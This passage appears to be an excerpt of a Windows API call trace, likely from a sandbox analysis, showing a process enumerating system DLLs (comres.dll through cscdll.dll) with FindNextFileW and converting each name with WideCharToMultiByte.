lpMultiByteStr="COMRES.DLL", lpUsedDefaultChar=0x0) returned 10 [0024.077] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdca78724, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdca78724, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865ac280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35c00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="comsnap.dll", cAlternateFileName="")) returned 1 [0024.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSNAP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSNAP.DLL", cchWideChar=11, lpMultiByteStr=0xddc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMSNAP.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.077] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfddbc751, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfddbc751, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12f400, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="comsvcs.dll", cAlternateFileName="")) returned 1 [0024.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSVCS.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSVCS.DLL", cchWideChar=11, lpMultiByteStr=0xddc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMSVCS.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.077] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe726f31b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe726f31b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8ec00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="comuid.dll", cAlternateFileName="")) returned 1 [0024.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMUID.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0024.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMUID.DLL", cchWideChar=10, lpMultiByteStr=0xddc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMUID.DLL", lpUsedDefaultChar=0x0) returned 10 [0024.077] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cecfd00, ftCreationTime.dwHighDateTime=0x1d2881f, ftLastAccessTime.dwLowDateTime=0xfc801c00, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0x6cecfd00, ftLastWriteTime.dwHighDateTime=0x1d2881f, nFileSizeHigh=0x0, nFileSizeLow=0x3b548, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="concrt140.dll", cAlternateFileName="")) returned 1 [0024.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONCRT140.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0024.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONCRT140.DLL", cchWideChar=13, lpMultiByteStr=0xddc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONCRT140.DLL", lpUsedDefaultChar=0x0) returned 13 [0024.078] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf52a1a4c, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf52a1a4c, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x148400, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="connect.dll", cAlternateFileName="")) returned 1 [0024.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONNECT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONNECT.DLL", cchWideChar=11, lpMultiByteStr=0xddc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONNECT.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.078] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62643aa1, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x62643aa1, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="console.dll", cAlternateFileName="")) returned 1 [0024.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONSOLE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONSOLE.DLL", cchWideChar=11, lpMultiByteStr=0xddc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONSOLE.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.078] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09bc845, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xb09bc845, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="corpol.dll", cAlternateFileName="")) returned 1 [0024.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CORPOL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0024.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CORPOL.DLL", cchWideChar=10, lpMultiByteStr=0xddc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CORPOL.DLL", lpUsedDefaultChar=0x0) returned 10 [0024.078] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ca9d39, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9ca00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="CPFilters.dll", cAlternateFileName="")) returned 1 [0024.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CPFILTERS.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0024.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CPFILTERS.DLL", cchWideChar=13, lpMultiByteStr=0xddc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CPFILTERS.DLL", lpUsedDefaultChar=0x0) returned 13 [0024.078] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9da9522d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9da9522d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9da9522d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="credssp.dll", cAlternateFileName="")) returned 1 [0024.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDSSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDSSP.DLL", cchWideChar=11, lpMultiByteStr=0xddc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CREDSSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.078] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d09d5fb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d09d5fb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d0c375b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x29400, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="credui.dll", cAlternateFileName="")) returned 1 [0024.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDUI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0024.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDUI.DLL", cchWideChar=10, lpMultiByteStr=0xddc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CREDUI.DLL", lpUsedDefaultChar=0x0) returned 10 [0024.078] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x435139, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x435139, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x866dd550, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2461b, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="crtdll.dll", cAlternateFileName="")) returned 1 [0024.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRTDLL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0024.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRTDLL.DLL", cchWideChar=10, lpMultiByteStr=0xddc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRTDLL.DLL", lpUsedDefaultChar=0x0) returned 10 [0024.079] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89b04660, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x89b04660, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x89b76a81, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x119c00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="crypt32.dll", cAlternateFileName="")) returned 1 [0024.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPT32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPT32.DLL", cchWideChar=11, lpMultiByteStr=0xddc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPT32.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.079] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54554db9, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x54554db9, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x86704650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="cryptbase.dll", cAlternateFileName="")) returned 1 [0024.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTBASE.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0024.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTBASE.DLL", cchWideChar=13, lpMultiByteStr=0xddc288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTBASE.DLL", lpUsedDefaultChar=0x0) returned 13 [0024.079] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dce1c44, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8dce1c44, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="cryptdlg.dll", cAlternateFileName="")) returned 1 [0024.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLG.DLL", cchWideChar=12, lpMultiByteStr=0xddc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTDLG.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.079] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x360536d1, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x360536d1, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="cryptdll.dll", cAlternateFileName="")) returned 1 [0024.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLL.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLL.DLL", cchWideChar=12, lpMultiByteStr=0xddc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTDLL.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.079] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c473190, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3c473190, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="cryptext.dll", cAlternateFileName="")) returned 1 [0024.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTEXT.DLL", cchWideChar=12, lpMultiByteStr=0xddc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.079] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x382fd648, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x382fd648, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x19400, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="cryptnet.dll", cAlternateFileName="")) returned 1 [0024.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTNET.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTNET.DLL", cchWideChar=12, lpMultiByteStr=0xddc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTNET.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.079] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde3e9ca5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xde3e9ca5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="cryptsp.dll", cAlternateFileName="")) returned 1 [0024.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSP.DLL", cchWideChar=11, lpMultiByteStr=0xddc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.079] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d61e8e5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d61e8e5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d644a45, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x21400, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="cryptsvc.dll", cAlternateFileName="")) returned 1 [0024.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSVC.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSVC.DLL", cchWideChar=12, lpMultiByteStr=0xddc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTSVC.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.080] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d513f43, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf5000, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="cryptui.dll", cAlternateFileName="")) returned 1 [0024.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTUI.DLL", cchWideChar=11, lpMultiByteStr=0xddc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.080] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f6e225d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f6e225d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14e00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="cryptxml.dll", cAlternateFileName="")) returned 1 [0024.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTXML.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTXML.DLL", cchWideChar=12, lpMultiByteStr=0xddc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTXML.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.080] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2f83ed, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b2f83ed, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b3446ad, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="cscapi.dll", cAlternateFileName="")) returned 1 [0024.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCAPI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0024.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCAPI.DLL", cchWideChar=10, lpMultiByteStr=0xddc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCAPI.DLL", lpUsedDefaultChar=0x0) returned 10 [0024.080] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b1eda4b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b1eda4b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b2f83ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="cscdll.dll", cAlternateFileName="")) returned 1 [0024.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCDLL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0024.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCDLL.DLL", cchWideChar=10, lpMultiByteStr=0xddc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCDLL.DLL", lpUsedDefaultChar=0x0) returned 10 [0024.080] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, 